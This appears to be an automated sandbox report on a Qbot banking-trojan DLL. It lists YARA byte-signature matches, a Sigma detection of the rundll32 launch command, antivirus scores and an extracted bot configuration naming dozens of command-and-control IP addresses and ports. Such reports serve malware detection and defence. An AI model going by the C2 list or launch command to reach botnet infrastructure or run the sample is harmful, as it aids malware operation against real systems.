5.3.rundll32.exe.b90000.1.raw.unpack	Windows_Trojan_Qbot_3074a8d4	unknown	unknown	0x1ba14:$a4: %u;%u;%u; 0x1bf50:$a5: %u.%u.%u.%u.%u.%u.%04x 0x1bdd8:$a6: %u&%s&%u 0x80c6:$get_string1: 33 D2 8B C6 6A 5A 5F F7 F7 8B 7D 08 8A 04 3A 8B 55 F8 8B 7D 10 3A 04 16 0x8404:$set_key: 8D 87 00 04 00 00 50 56 E8 BF 15 00 00 59 8B D0 8B CE E8 0x2730:$do_computer_use_russian_like_keyboard: B9 FF 03 00 00 66 23 C1 33 C9 0F B7 F8 66 3B 7C 4D 0x2187:$execute_each_tasks: 8B 44 0E 0C 85 C0 74 04 FF D0 EB 12 6A 00 6A 00 6A 00 FF 74 0E 08 E8 F5 EF FF FF 83 C4 10 0xbcee:$generate_random_alpha_num_string: 57 E8 DC DC FF FF 48 50 8D 85 30 F6 FF FF 6A 00 50 E8 D1 6D 00 00 8B 4D F8 83 C4 10 8A 04 38 88 04 0E 46 83 FE 0C
3.3.regsvr32.exe.400000.2.raw.unpack	JoeSecurity_Qbot_1	Yara detected Qbot	Joe Security
3.3.regsvr32.exe.400000.2.raw.unpack	Windows_Trojan_Qbot_92c67a6d	unknown	unknown	0x1034f:$a: 33 C0 59 85 F6 74 2D 83 66 0C 00 40 89 06 6A 20 89 46 04 C7 46 08 08 00
3.3.regsvr32.exe.400000.2.raw.unpack	Windows_Trojan_Qbot_3074a8d4	unknown	unknown	0x1ba14:$a4: %u;%u;%u; 0x1bf50:$a5: %u.%u.%u.%u.%u.%u.%04x 0x1bdd8:$a6: %u&%s&%u 0x80c6:$get_string1: 33 D2 8B C6 6A 5A 5F F7 F7 8B 7D 08 8A 04 3A 8B 55 F8 8B 7D 10 3A 04 16 0x8404:$set_key: 8D 87 00 04 00 00 50 56 E8 BF 15 00 00 59 8B D0 8B CE E8 0x2730:$do_computer_use_russian_like_keyboard: B9 FF 03 00 00 66 23 C1 33 C9 0F B7 F8 66 3B 7C 4D 0x2187:$execute_each_tasks: 8B 44 0E 0C 85 C0 74 04 FF D0 EB 12 6A 00 6A 00 6A 00 FF 74 0E 08 E8 F5 EF FF FF 83 C4 10 0xbcee:$generate_random_alpha_num_string: 57 E8 DC DC FF FF 48 50 8D 85 30 F6 FF FF 6A 00 50 E8 D1 6D 00 00 8B 4D F8 83 C4 10 8A 04 38 88 04 0E 46 83 FE 0C
8.2.wermgr.exe.e00000.0.raw.unpack	JoeSecurity_Qbot_1	Yara detected Qbot	Joe Security
8.2.wermgr.exe.e00000.0.raw.unpack	Windows_Trojan_Qbot_92c67a6d	unknown	unknown	0x10f4f:$a: 33 C0 59 85 F6 74 2D 83 66 0C 00 40 89 06 6A 20 89 46 04 C7 46 08 08 00
8.2.wermgr.exe.e00000.0.raw.unpack	Windows_Trojan_Qbot_3074a8d4	unknown	unknown	0x1ca14:$a4: %u;%u;%u; 0x1cf50:$a5: %u.%u.%u.%u.%u.%u.%04x 0x1cdd8:$a6: %u&%s&%u 0x8cc6:$get_string1: 33 D2 8B C6 6A 5A 5F F7 F7 8B 7D 08 8A 04 3A 8B 55 F8 8B 7D 10 3A 04 16 0x9004:$set_key: 8D 87 00 04 00 00 50 56 E8 BF 15 00 00 59 8B D0 8B CE E8 0x3330:$do_computer_use_russian_like_keyboard: B9 FF 03 00 00 66 23 C1 33 C9 0F B7 F8 66 3B 7C 4D 0x2d87:$execute_each_tasks: 8B 44 0E 0C 85 C0 74 04 FF D0 EB 12 6A 00 6A 00 6A 00 FF 74 0E 08 E8 F5 EF FF FF 83 C4 10 0xc8ee:$generate_random_alpha_num_string: 57 E8 DC DC FF FF 48 50 8D 85 30 F6 FF FF 6A 00 50 E8 D1 6D 00 00 8B 4D F8 83 C4 10 8A 04 38 88 04 0E 46 83 FE 0C
3.2.regsvr32.exe.730000.1.raw.unpack	JoeSecurity_Qbot_1	Yara detected Qbot	Joe Security
3.2.regsvr32.exe.730000.1.raw.unpack	Windows_Trojan_Qbot_92c67a6d	unknown	unknown	0x10f4f:$a: 33 C0 59 85 F6 74 2D 83 66 0C 00 40 89 06 6A 20 89 46 04 C7 46 08 08 00
3.2.regsvr32.exe.730000.1.raw.unpack	Windows_Trojan_Qbot_3074a8d4	unknown	unknown	0x1ca14:$a4: %u;%u;%u; 0x1cf50:$a5: %u.%u.%u.%u.%u.%u.%04x 0x1cdd8:$a6: %u&%s&%u 0x8cc6:$get_string1: 33 D2 8B C6 6A 5A 5F F7 F7 8B 7D 08 8A 04 3A 8B 55 F8 8B 7D 10 3A 04 16 0x9004:$set_key: 8D 87 00 04 00 00 50 56 E8 BF 15 00 00 59 8B D0 8B CE E8 0x3330:$do_computer_use_russian_like_keyboard: B9 FF 03 00 00 66 23 C1 33 C9 0F B7 F8 66 3B 7C 4D 0x2d87:$execute_each_tasks: 8B 44 0E 0C 85 C0 74 04 FF D0 EB 12 6A 00 6A 00 6A 00 FF 74 0E 08 E8 F5 EF FF FF 83 C4 10 0xc8ee:$generate_random_alpha_num_string: 57 E8 DC DC FF FF 48 50 8D 85 30 F6 FF FF 6A 00 50 E8 D1 6D 00 00 8B 4D F8 83 C4 10 8A 04 38 88 04 0E 46 83 FE 0C
9.0.wermgr.exe.e00000.0.unpack	JoeSecurity_Qbot_1	Yara detected Qbot	Joe Security
9.0.wermgr.exe.e00000.0.unpack	Windows_Trojan_Qbot_92c67a6d	unknown	unknown	0x1034f:$a: 33 C0 59 85 F6 74 2D 83 66 0C 00 40 89 06 6A 20 89 46 04 C7 46 08 08 00
9.0.wermgr.exe.e00000.0.unpack	Windows_Trojan_Qbot_3074a8d4	unknown	unknown	0x1ba14:$a4: %u;%u;%u; 0x1bf50:$a5: %u.%u.%u.%u.%u.%u.%04x 0x1bdd8:$a6: %u&%s&%u 0x80c6:$get_string1: 33 D2 8B C6 6A 5A 5F F7 F7 8B 7D 08 8A 04 3A 8B 55 F8 8B 7D 10 3A 04 16 0x8404:$set_key: 8D 87 00 04 00 00 50 56 E8 BF 15 00 00 59 8B D0 8B CE E8 0x2730:$do_computer_use_russian_like_keyboard: B9 FF 03 00 00 66 23 C1 33 C9 0F B7 F8 66 3B 7C 4D 0x2187:$execute_each_tasks: 8B 44 0E 0C 85 C0 74 04 FF D0 EB 12 6A 00 6A 00 6A 00 FF 74 0E 08 E8 F5 EF FF FF 83 C4 10 0xbcee:$generate_random_alpha_num_string: 57 E8 DC DC FF FF 48 50 8D 85 30 F6 FF FF 6A 00 50 E8 D1 6D 00 00 8B 4D F8 83 C4 10 8A 04 38 88 04 0E 46 83 FE 0C
5.2.rundll32.exe.2cc0000.1.raw.unpack	JoeSecurity_Qbot_1	Yara detected Qbot	Joe Security
5.2.rundll32.exe.2cc0000.1.raw.unpack	Windows_Trojan_Qbot_92c67a6d	unknown	unknown	0x10f4f:$a: 33 C0 59 85 F6 74 2D 83 66 0C 00 40 89 06 6A 20 89 46 04 C7 46 08 08 00
5.2.rundll32.exe.2cc0000.1.raw.unpack	Windows_Trojan_Qbot_3074a8d4	unknown	unknown	0x1ca14:$a4: %u;%u;%u; 0x1cf50:$a5: %u.%u.%u.%u.%u.%u.%04x 0x1cdd8:$a6: %u&%s&%u 0x8cc6:$get_string1: 33 D2 8B C6 6A 5A 5F F7 F7 8B 7D 08 8A 04 3A 8B 55 F8 8B 7D 10 3A 04 16 0x9004:$set_key: 8D 87 00 04 00 00 50 56 E8 BF 15 00 00 59 8B D0 8B CE E8 0x3330:$do_computer_use_russian_like_keyboard: B9 FF 03 00 00 66 23 C1 33 C9 0F B7 F8 66 3B 7C 4D 0x2d87:$execute_each_tasks: 8B 44 0E 0C 85 C0 74 04 FF D0 EB 12 6A 00 6A 00 6A 00 FF 74 0E 08 E8 F5 EF FF FF 83 C4 10 0xc8ee:$generate_random_alpha_num_string: 57 E8 DC DC FF FF 48 50 8D 85 30 F6 FF FF 6A 00 50 E8 D1 6D 00 00 8B 4D F8 83 C4 10 8A 04 38 88 04 0E 46 83 FE 0C
9.2.wermgr.exe.e00000.0.unpack	JoeSecurity_Qbot_1	Yara detected Qbot	Joe Security
9.2.wermgr.exe.e00000.0.unpack	Windows_Trojan_Qbot_92c67a6d	unknown	unknown	0x1034f:$a: 33 C0 59 85 F6 74 2D 83 66 0C 00 40 89 06 6A 20 89 46 04 C7 46 08 08 00
9.2.wermgr.exe.e00000.0.unpack	Windows_Trojan_Qbot_3074a8d4	unknown	unknown	0x1ba14:$a4: %u;%u;%u; 0x1bf50:$a5: %u.%u.%u.%u.%u.%u.%04x 0x1bdd8:$a6: %u&%s&%u 0x80c6:$get_string1: 33 D2 8B C6 6A 5A 5F F7 F7 8B 7D 08 8A 04 3A 8B 55 F8 8B 7D 10 3A 04 16 0x8404:$set_key: 8D 87 00 04 00 00 50 56 E8 BF 15 00 00 59 8B D0 8B CE E8 0x2730:$do_computer_use_russian_like_keyboard: B9 FF 03 00 00 66 23 C1 33 C9 0F B7 F8 66 3B 7C 4D 0x2187:$execute_each_tasks: 8B 44 0E 0C 85 C0 74 04 FF D0 EB 12 6A 00 6A 00 6A 00 FF 74 0E 08 E8 F5 EF FF FF 83 C4 10 0xbcee:$generate_random_alpha_num_string: 57 E8 DC DC FF FF 48 50 8D 85 30 F6 FF FF 6A 00 50 E8 D1 6D 00 00 8B 4D F8 83 C4 10 8A 04 38 88 04 0E 46 83 FE 0C
3.2.regsvr32.exe.730000.1.unpack	JoeSecurity_Qbot_1	Yara detected Qbot	Joe Security
3.2.regsvr32.exe.730000.1.unpack	Windows_Trojan_Qbot_92c67a6d	unknown	unknown	0x1034f:$a: 33 C0 59 85 F6 74 2D 83 66 0C 00 40 89 06 6A 20 89 46 04 C7 46 08 08 00
3.2.regsvr32.exe.730000.1.unpack	Windows_Trojan_Qbot_3074a8d4	unknown	unknown	0x1ba14:$a4: %u;%u;%u; 0x1bf50:$a5: %u.%u.%u.%u.%u.%u.%04x 0x1bdd8:$a6: %u&%s&%u 0x80c6:$get_string1: 33 D2 8B C6 6A 5A 5F F7 F7 8B 7D 08 8A 04 3A 8B 55 F8 8B 7D 10 3A 04 16 0x8404:$set_key: 8D 87 00 04 00 00 50 56 E8 BF 15 00 00 59 8B D0 8B CE E8 0x2730:$do_computer_use_russian_like_keyboard: B9 FF 03 00 00 66 23 C1 33 C9 0F B7 F8 66 3B 7C 4D 0x2187:$execute_each_tasks: 8B 44 0E 0C 85 C0 74 04 FF D0 EB 12 6A 00 6A 00 6A 00 FF 74 0E 08 E8 F5 EF FF FF 83 C4 10 0xbcee:$generate_random_alpha_num_string: 57 E8 DC DC FF FF 48 50 8D 85 30 F6 FF FF 6A 00 50 E8 D1 6D 00 00 8B 4D F8 83 C4 10 8A 04 38 88 04 0E 46 83 FE 0C
3.3.regsvr32.exe.400000.2.unpack	JoeSecurity_Qbot_1	Yara detected Qbot	Joe Security
3.3.regsvr32.exe.400000.2.unpack	Windows_Trojan_Qbot_92c67a6d	unknown	unknown	0xf74f:$a: 33 C0 59 85 F6 74 2D 83 66 0C 00 40 89 06 6A 20 89 46 04 C7 46 08 08 00
3.3.regsvr32.exe.400000.2.unpack	Windows_Trojan_Qbot_3074a8d4	unknown	unknown	0x1aa14:$a4: %u;%u;%u; 0x1af50:$a5: %u.%u.%u.%u.%u.%u.%04x 0x1add8:$a6: %u&%s&%u 0x74c6:$get_string1: 33 D2 8B C6 6A 5A 5F F7 F7 8B 7D 08 8A 04 3A 8B 55 F8 8B 7D 10 3A 04 16 0x7804:$set_key: 8D 87 00 04 00 00 50 56 E8 BF 15 00 00 59 8B D0 8B CE E8 0x1b30:$do_computer_use_russian_like_keyboard: B9 FF 03 00 00 66 23 C1 33 C9 0F B7 F8 66 3B 7C 4D 0x1587:$execute_each_tasks: 8B 44 0E 0C 85 C0 74 04 FF D0 EB 12 6A 00 6A 00 6A 00 FF 74 0E 08 E8 F5 EF FF FF 83 C4 10 0xb0ee:$generate_random_alpha_num_string: 57 E8 DC DC FF FF 48 50 8D 85 30 F6 FF FF 6A 00 50 E8 D1 6D 00 00 8B 4D F8 83 C4 10 8A 04 38 88 04 0E 46 83 FE 0C
5.2.rundll32.exe.2cc0000.1.unpack	JoeSecurity_Qbot_1	Yara detected Qbot	Joe Security
5.2.rundll32.exe.2cc0000.1.unpack	Windows_Trojan_Qbot_92c67a6d	unknown	unknown	0x1034f:$a: 33 C0 59 85 F6 74 2D 83 66 0C 00 40 89 06 6A 20 89 46 04 C7 46 08 08 00
5.2.rundll32.exe.2cc0000.1.unpack	Windows_Trojan_Qbot_3074a8d4	unknown	unknown	0x1ba14:$a4: %u;%u;%u; 0x1bf50:$a5: %u.%u.%u.%u.%u.%u.%04x 0x1bdd8:$a6: %u&%s&%u 0x80c6:$get_string1: 33 D2 8B C6 6A 5A 5F F7 F7 8B 7D 08 8A 04 3A 8B 55 F8 8B 7D 10 3A 04 16 0x8404:$set_key: 8D 87 00 04 00 00 50 56 E8 BF 15 00 00 59 8B D0 8B CE E8 0x2730:$do_computer_use_russian_like_keyboard: B9 FF 03 00 00 66 23 C1 33 C9 0F B7 F8 66 3B 7C 4D 0x2187:$execute_each_tasks: 8B 44 0E 0C 85 C0 74 04 FF D0 EB 12 6A 00 6A 00 6A 00 FF 74 0E 08 E8 F5 EF FF FF 83 C4 10 0xbcee:$generate_random_alpha_num_string: 57 E8 DC DC FF FF 48 50 8D 85 30 F6 FF FF 6A 00 50 E8 D1 6D 00 00 8B 4D F8 83 C4 10 8A 04 38 88 04 0E 46 83 FE 0C
7.0.wermgr.exe.1000000.0.raw.unpack	JoeSecurity_Qbot_1	Yara detected Qbot	Joe Security
7.0.wermgr.exe.1000000.0.raw.unpack	Windows_Trojan_Qbot_92c67a6d	unknown	unknown	0x10f4f:$a: 33 C0 59 85 F6 74 2D 83 66 0C 00 40 89 06 6A 20 89 46 04 C7 46 08 08 00
7.0.wermgr.exe.1000000.0.raw.unpack	Windows_Trojan_Qbot_3074a8d4	unknown	unknown	0x1ca14:$a4: %u;%u;%u; 0x1cf50:$a5: %u.%u.%u.%u.%u.%u.%04x 0x1cdd8:$a6: %u&%s&%u 0x8cc6:$get_string1: 33 D2 8B C6 6A 5A 5F F7 F7 8B 7D 08 8A 04 3A 8B 55 F8 8B 7D 10 3A 04 16 0x9004:$set_key: 8D 87 00 04 00 00 50 56 E8 BF 15 00 00 59 8B D0 8B CE E8 0x3330:$do_computer_use_russian_like_keyboard: B9 FF 03 00 00 66 23 C1 33 C9 0F B7 F8 66 3B 7C 4D 0x2d87:$execute_each_tasks: 8B 44 0E 0C 85 C0 74 04 FF D0 EB 12 6A 00 6A 00 6A 00 FF 74 0E 08 E8 F5 EF FF FF 83 C4 10 0xc8ee:$generate_random_alpha_num_string: 57 E8 DC DC FF FF 48 50 8D 85 30 F6 FF FF 6A 00 50 E8 D1 6D 00 00 8B 4D F8 83 C4 10 8A 04 38 88 04 0E 46 83 FE 0C
9.2.wermgr.exe.e00000.0.raw.unpack	JoeSecurity_Qbot_1	Yara detected Qbot	Joe Security
9.2.wermgr.exe.e00000.0.raw.unpack	Windows_Trojan_Qbot_92c67a6d	unknown	unknown	0x10f4f:$a: 33 C0 59 85 F6 74 2D 83 66 0C 00 40 89 06 6A 20 89 46 04 C7 46 08 08 00
9.2.wermgr.exe.e00000.0.raw.unpack	Windows_Trojan_Qbot_3074a8d4	unknown	unknown	0x1ca14:$a4: %u;%u;%u; 0x1cf50:$a5: %u.%u.%u.%u.%u.%u.%04x 0x1cdd8:$a6: %u&%s&%u 0x8cc6:$get_string1: 33 D2 8B C6 6A 5A 5F F7 F7 8B 7D 08 8A 04 3A 8B 55 F8 8B 7D 10 3A 04 16 0x9004:$set_key: 8D 87 00 04 00 00 50 56 E8 BF 15 00 00 59 8B D0 8B CE E8 0x3330:$do_computer_use_russian_like_keyboard: B9 FF 03 00 00 66 23 C1 33 C9 0F B7 F8 66 3B 7C 4D 0x2d87:$execute_each_tasks: 8B 44 0E 0C 85 C0 74 04 FF D0 EB 12 6A 00 6A 00 6A 00 FF 74 0E 08 E8 F5 EF FF FF 83 C4 10 0xc8ee:$generate_random_alpha_num_string: 57 E8 DC DC FF FF 48 50 8D 85 30 F6 FF FF 6A 00 50 E8 D1 6D 00 00 8B 4D F8 83 C4 10 8A 04 38 88 04 0E 46 83 FE 0C
8.0.wermgr.exe.e00000.0.unpack	JoeSecurity_Qbot_1	Yara detected Qbot	Joe Security
8.0.wermgr.exe.e00000.0.unpack	Windows_Trojan_Qbot_92c67a6d	unknown	unknown	0x1034f:$a: 33 C0 59 85 F6 74 2D 83 66 0C 00 40 89 06 6A 20 89 46 04 C7 46 08 08 00
8.0.wermgr.exe.e00000.0.unpack	Windows_Trojan_Qbot_3074a8d4	unknown	unknown	0x1ba14:$a4: %u;%u;%u; 0x1bf50:$a5: %u.%u.%u.%u.%u.%u.%04x 0x1bdd8:$a6: %u&%s&%u 0x80c6:$get_string1: 33 D2 8B C6 6A 5A 5F F7 F7 8B 7D 08 8A 04 3A 8B 55 F8 8B 7D 10 3A 04 16 0x8404:$set_key: 8D 87 00 04 00 00 50 56 E8 BF 15 00 00 59 8B D0 8B CE E8 0x2730:$do_computer_use_russian_like_keyboard: B9 FF 03 00 00 66 23 C1 33 C9 0F B7 F8 66 3B 7C 4D 0x2187:$execute_each_tasks: 8B 44 0E 0C 85 C0 74 04 FF D0 EB 12 6A 00 6A 00 6A 00 FF 74 0E 08 E8 F5 EF FF FF 83 C4 10 0xbcee:$generate_random_alpha_num_string: 57 E8 DC DC FF FF 48 50 8D 85 30 F6 FF FF 6A 00 50 E8 D1 6D 00 00 8B 4D F8 83 C4 10 8A 04 38 88 04 0E 46 83 FE 0C
9.0.wermgr.exe.e00000.0.raw.unpack	JoeSecurity_Qbot_1	Yara detected Qbot	Joe Security
9.0.wermgr.exe.e00000.0.raw.unpack	Windows_Trojan_Qbot_92c67a6d	unknown	unknown	0x10f4f:$a: 33 C0 59 85 F6 74 2D 83 66 0C 00 40 89 06 6A 20 89 46 04 C7 46 08 08 00
9.0.wermgr.exe.e00000.0.raw.unpack	Windows_Trojan_Qbot_3074a8d4	unknown	unknown	0x1ca14:$a4: %u;%u;%u; 0x1cf50:$a5: %u.%u.%u.%u.%u.%u.%04x 0x1cdd8:$a6: %u&%s&%u 0x8cc6:$get_string1: 33 D2 8B C6 6A 5A 5F F7 F7 8B 7D 08 8A 04 3A 8B 55 F8 8B 7D 10 3A 04 16 0x9004:$set_key: 8D 87 00 04 00 00 50 56 E8 BF 15 00 00 59 8B D0 8B CE E8 0x3330:$do_computer_use_russian_like_keyboard: B9 FF 03 00 00 66 23 C1 33 C9 0F B7 F8 66 3B 7C 4D 0x2d87:$execute_each_tasks: 8B 44 0E 0C 85 C0 74 04 FF D0 EB 12 6A 00 6A 00 6A 00 FF 74 0E 08 E8 F5 EF FF FF 83 C4 10 0xc8ee:$generate_random_alpha_num_string: 57 E8 DC DC FF FF 48 50 8D 85 30 F6 FF FF 6A 00 50 E8 D1 6D 00 00 8B 4D F8 83 C4 10 8A 04 38 88 04 0E 46 83 FE 0C
4.2.rundll32.exe.4820000.1.unpack	JoeSecurity_Qbot_1	Yara detected Qbot	Joe Security
4.2.rundll32.exe.4820000.1.unpack	Windows_Trojan_Qbot_92c67a6d	unknown	unknown	0x1034f:$a: 33 C0 59 85 F6 74 2D 83 66 0C 00 40 89 06 6A 20 89 46 04 C7 46 08 08 00
4.2.rundll32.exe.4820000.1.unpack	Windows_Trojan_Qbot_3074a8d4	unknown	unknown	0x1ba14:$a4: %u;%u;%u; 0x1bf50:$a5: %u.%u.%u.%u.%u.%u.%04x 0x1bdd8:$a6: %u&%s&%u 0x80c6:$get_string1: 33 D2 8B C6 6A 5A 5F F7 F7 8B 7D 08 8A 04 3A 8B 55 F8 8B 7D 10 3A 04 16 0x8404:$set_key: 8D 87 00 04 00 00 50 56 E8 BF 15 00 00 59 8B D0 8B CE E8 0x2730:$do_computer_use_russian_like_keyboard: B9 FF 03 00 00 66 23 C1 33 C9 0F B7 F8 66 3B 7C 4D 0x2187:$execute_each_tasks: 8B 44 0E 0C 85 C0 74 04 FF D0 EB 12 6A 00 6A 00 6A 00 FF 74 0E 08 E8 F5 EF FF FF 83 C4 10 0xbcee:$generate_random_alpha_num_string: 57 E8 DC DC FF FF 48 50 8D 85 30 F6 FF FF 6A 00 50 E8 D1 6D 00 00 8B 4D F8 83 C4 10 8A 04 38 88 04 0E 46 83 FE 0C
7.0.wermgr.exe.1000000.0.unpack	JoeSecurity_Qbot_1	Yara detected Qbot	Joe Security
7.0.wermgr.exe.1000000.0.unpack	Windows_Trojan_Qbot_92c67a6d	unknown	unknown	0x1034f:$a: 33 C0 59 85 F6 74 2D 83 66 0C 00 40 89 06 6A 20 89 46 04 C7 46 08 08 00
7.0.wermgr.exe.1000000.0.unpack	Windows_Trojan_Qbot_3074a8d4	unknown	unknown	0x1ba14:$a4: %u;%u;%u; 0x1bf50:$a5: %u.%u.%u.%u.%u.%u.%04x 0x1bdd8:$a6: %u&%s&%u 0x80c6:$get_string1: 33 D2 8B C6 6A 5A 5F F7 F7 8B 7D 08 8A 04 3A 8B 55 F8 8B 7D 10 3A 04 16 0x8404:$set_key: 8D 87 00 04 00 00 50 56 E8 BF 15 00 00 59 8B D0 8B CE E8 0x2730:$do_computer_use_russian_like_keyboard: B9 FF 03 00 00 66 23 C1 33 C9 0F B7 F8 66 3B 7C 4D 0x2187:$execute_each_tasks: 8B 44 0E 0C 85 C0 74 04 FF D0 EB 12 6A 00 6A 00 6A 00 FF 74 0E 08 E8 F5 EF FF FF 83 C4 10 0xbcee:$generate_random_alpha_num_string: 57 E8 DC DC FF FF 48 50 8D 85 30 F6 FF FF 6A 00 50 E8 D1 6D 00 00 8B 4D F8 83 C4 10 8A 04 38 88 04 0E 46 83 FE 0C
Click to see the 61 entries

Sigma Signatures

Data Obfuscation

Sigma detected: Execute DLL with spoofed extension

Source: Process started

Author: Joe Security: Data: Command: cmd.exe /C rundll32.exe "C:\Users\user\Desktop\diatomaceous.dat.dll",#1, CommandLine: cmd.exe /C rundll32.exe "C:\Users\user\Desktop\diatomaceous.dat.dll",#1, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\cmd.exe, NewProcessName: C:\Windows\SysWOW64\cmd.exe, OriginalFileName: C:\Windows\SysWOW64\cmd.exe, ParentCommandLine: loaddll32.exe "C:\Users\user\Desktop\diatomaceous.dat.dll", ParentImage: C:\Windows\System32\loaddll32.exe, ParentProcessId: 5992, ParentProcessName: loaddll32.exe, ProcessCommandLine: cmd.exe /C rundll32.exe "C:\Users\user\Desktop\diatomaceous.dat.dll",#1, ProcessId: 6116, ProcessName: cmd.exe

Snort Signatures

⊘No Snort rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: diatomaceous.dat.dll	ReversingLabs: Detection: 73%
Source: diatomaceous.dat.dll	Virustotal: Detection: 77%	Perma Link
Source: diatomaceous.dat.dll	Metadefender: Detection: 44%	Perma Link

Machine Learning detection for sample

Source: diatomaceous.dat.dll

Joe Sandbox ML: detected

Source: 8.2.wermgr.exe.e00000.0.unpack

Malware Configuration Extractor: Qbot {"Bot id": "BB", "Campaign": "1664535088", "Version": "403.902", "C2 list": ["41.107.71.201:443", "105.101.230.16:443", "105.108.239.60:443", "196.64.227.5:8443", "41.249.158.221:995", "134.35.14.5:443", "113.170.117.251:443", "187.193.219.248:443", "122.166.244.116:443", "154.237.129.123:995", "41.98.229.81:443", "186.48.199.243:995", "102.156.3.13:443", "41.97.190.189:443", "197.207.191.164:443", "105.184.14.132:995", "196.207.146.151:443", "105.158.113.15:443", "196.89.42.89:995", "86.98.156.229:993", "177.174.119.195:32101", "81.156.194.147:2078", "80.253.189.55:443", "197.49.175.67:995", "177.45.78.52:993", "89.187.169.77:443", "196.92.59.242:995", "41.13.200.19:443", "41.97.195.237:443", "92.191.56.11:2222", "154.70.53.202:443", "210.186.37.98:50002"]}

Source: C:\Windows\System32\loaddll32.exe

Code function: 0_2_6DA82E60 CryptAcquireContextA,CryptCreateHash,CryptHashData,CryptDestroyHash,CryptReleaseContext,CryptGetHashParam,CryptGetHashParam,CryptDestroyHash,CryptReleaseContext,CryptDestroyHash,CryptReleaseContext,std::ios_base::_Ios_base_dtor,Concurrency::cancel_current_task,std::ios_base::_Ios_base_dtor,

0_2_6DA82E60

Source: diatomaceous.dat.dll

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE, DLL

Source: diatomaceous.dat.dll

Static PE information: DYNAMIC_BASE, NX_COMPAT

Source:	Binary string: y'E:\cpp\out\out\desktop.pdb source: loaddll32.exe, 00000000.00000002.321283455.000000006DAA4000.00000002.00000001.01000000.00000003.sdmp, regsvr32.exe, 00000003.00000002.320776013.000000006DAA4000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 00000004.00000002.320890751.000000006DAA4000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 00000005.00000002.320917782.000000006DAA4000.00000002.00000001.01000000.00000003.sdmp, diatomaceous.dat.dll
Source:	Binary string: E:\cpp\out\out\desktop.pdb source: loaddll32.exe, 00000000.00000002.321283455.000000006DAA4000.00000002.00000001.01000000.00000003.sdmp, regsvr32.exe, 00000003.00000002.320776013.000000006DAA4000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 00000004.00000002.320890751.000000006DAA4000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 00000005.00000002.320917782.000000006DAA4000.00000002.00000001.01000000.00000003.sdmp, diatomaceous.dat.dll
Source:	Binary string: amstream.pdb source: wermgr.exe, 00000007.00000003.321666613.0000000004D71000.00000004.00000800.00020000.00000000.sdmp, wermgr.exe, 00000008.00000003.321909283.00000000031A1000.00000004.00000800.00020000.00000000.sdmp, wermgr.exe, 00000009.00000003.322091592.0000000004BA1000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: rundll32.pdb source: rundll32.exe, 00000004.00000003.307936128.0000000003011000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.307949517.000000000301B000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.307921567.0000000003004000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000002.320543762.0000000002FDA000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: rundll32.pdbGCTL source: rundll32.exe, 00000004.00000003.307936128.0000000003011000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.307949517.000000000301B000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.307921567.0000000003004000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000002.320543762.0000000002FDA000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: amstream.pdbGCTL source: wermgr.exe, 00000007.00000003.321666613.0000000004D71000.00000004.00000800.00020000.00000000.sdmp, wermgr.exe, 00000008.00000003.321909283.00000000031A1000.00000004.00000800.00020000.00000000.sdmp, wermgr.exe, 00000009.00000003.322091592.0000000004BA1000.00000004.00000800.00020000.00000000.sdmp

Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6DA994B5 FindFirstFileExW,		0_2_6DA994B5
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 3_2_0073C123 FindFirstFileW,FindNextFileW,		3_2_0073C123

Source: C:\Windows\SysWOW64\regsvr32.exe

Code function: 3_2_00735D1E GetDC,CreateCompatibleDC,GetDeviceCaps,GetDeviceCaps,GetDeviceCaps,CreateCompatibleBitmap,SelectObject,BitBlt,GetCursorInfo,CopyIcon,GetIconInfo,GetObjectW,DrawIconEx,SelectObject,GetObjectW,GetDIBits,DeleteDC,DeleteDC,DeleteObject,

3_2_00735D1E

System Summary

Malicious sample detected (through community Yara rule)

Source: 8.0.wermgr.exe.e00000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Qbot_92c67a6d Author: unknown
Source: 8.0.wermgr.exe.e00000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Qbot_3074a8d4 Author: unknown
Source: 4.2.rundll32.exe.4820000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Qbot_92c67a6d Author: unknown
Source: 4.2.rundll32.exe.4820000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Qbot_3074a8d4 Author: unknown
Source: 5.3.rundll32.exe.b90000.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Qbot_92c67a6d Author: unknown
Source: 5.3.rundll32.exe.b90000.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Qbot_3074a8d4 Author: unknown
Source: 8.2.wermgr.exe.e00000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Qbot_92c67a6d Author: unknown
Source: 8.2.wermgr.exe.e00000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Qbot_3074a8d4 Author: unknown
Source: 4.3.rundll32.exe.2fa0000.6.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Qbot_92c67a6d Author: unknown
Source: 4.3.rundll32.exe.2fa0000.6.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Qbot_3074a8d4 Author: unknown
Source: 4.3.rundll32.exe.2fa0000.6.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Qbot_92c67a6d Author: unknown
Source: 4.3.rundll32.exe.2fa0000.6.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Qbot_3074a8d4 Author: unknown
